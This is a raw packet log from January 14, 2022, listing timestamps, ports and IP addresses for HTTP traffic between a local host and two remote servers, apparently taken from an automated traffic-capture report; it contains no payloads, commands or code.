Jan 14, 2022 09:26:02.792660952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792678118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.792823076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793049097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793064117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793299913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793317080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793565989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793581009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793824911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.793842077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794076920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794091940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794332027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794344902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794589996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794605017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794847012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794856071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.794873953 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.794945002 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.794982910 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795007944 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795028925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.795057058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795110941 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795141935 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795152903 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795191050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795217037 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795223951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.795232058 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795233011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.795262098 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795272112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795310974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795336962 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795350075 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795391083 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795417070 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795434952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795483112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795520067 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795561075 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795588017 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795600891 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795639992 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.795666933 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.795870066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.812985897 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.813035011 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.813074112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.813110113 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.813126087 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.813159943 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.821964025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.822102070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.822340012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.822530031 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.822582960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.822717905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.822844028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.823185921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.823360920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.823689938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.823899031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824100971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824357986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824373960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824558973 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.824590921 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.824632883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824848890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.824873924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825100899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825118065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825378895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825392962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825635910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825653076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825910091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825927019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.825975895 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.826234102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826255083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826457977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826476097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826711893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826904058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.826920986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827131033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827404022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827421904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827677011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827691078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827950001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.827966928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828118086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828376055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828392982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828490973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828746080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.828763008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829015970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829031944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829328060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829345942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829633951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829648018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829927921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.829946041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830192089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830207109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830455065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830471992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830724001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830737114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.830998898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.831017017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.831258059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.831273079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.831552982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.834237099 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834305048 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834369898 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834487915 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834525108 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.834552050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834616899 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834650040 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.834677935 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834739923 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834773064 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.834803104 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834852934 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834883928 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.834897041 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834935904 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.834964037 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.834975958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835016012 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835050106 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835055113 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835094929 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835134983 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835161924 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835174084 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835207939 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835216045 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835256100 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835289001 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835294962 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835335970 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835374117 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835372925 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835417986 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835474968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835535049 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835570097 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835582018 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835621119 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835653067 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835660934 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835704088 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835736990 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835742950 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835783958 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835817099 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835824966 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835865974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835899115 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835910082 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835951090 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.835982084 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.835990906 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.836033106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.836070061 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.836076021 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.837905884 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.849512100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.849551916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.853395939 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.853444099 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.853487015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.853519917 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.853524923 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.853714943 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.863204002 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.874135017 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874206066 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874269009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874306917 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874332905 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874397993 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874432087 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874445915 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874490023 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874517918 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874531031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874572039 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874603033 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874614000 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874654055 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874694109 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874727011 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874733925 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874766111 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874774933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874819040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874856949 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874898911 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874900103 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874933004 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.874941111 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.874980927 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875011921 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875021935 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875062943 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875092983 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875103951 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875149965 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875166893 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875197887 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875238895 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875264883 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875279903 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875319004 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875344038 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875360012 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875401974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875420094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875443935 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875485897 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875509977 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875524998 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875565052 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875588894 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875603914 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875643015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875668049 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875684023 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875725031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875742912 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875766039 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875808001 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875822067 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875847101 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875890970 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875905991 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.875932932 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875972033 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.875997066 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.876012087 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.876051903 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.876075983 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.876092911 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.876133919 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.876158953 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.876173019 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.876235008 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.880752087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.880788088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.880917072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881129026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881511927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881529093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881709099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881724119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881896973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.881913900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882077932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882215023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882232904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882329941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882428885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882620096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882637024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882823944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.882842064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883039951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883054972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883241892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883260012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883440971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883456945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883644104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883661985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883845091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.883862019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884046078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884064913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884263039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884279966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884459019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884476900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884707928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884723902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884854078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.884872913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.885054111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.885071039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.885257959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.885276079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:02.893568993 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:02.893632889 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.893696070 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.893748045 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.893785954 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.893810987 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.893881083 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.893907070 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.893973112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894036055 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894068956 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894083977 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894124985 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894156933 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894165993 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894208908 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894238949 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894248009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894289017 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894318104 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894340992 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894383907 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894417048 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894433022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894476891 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894510031 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894546032 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894603968 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894635916 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894642115 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894685030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894715071 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894726992 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894766092 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894793987 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:02.894808054 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:02.894850016 CET	80	49906	8.209.70.0	192.168.2.4
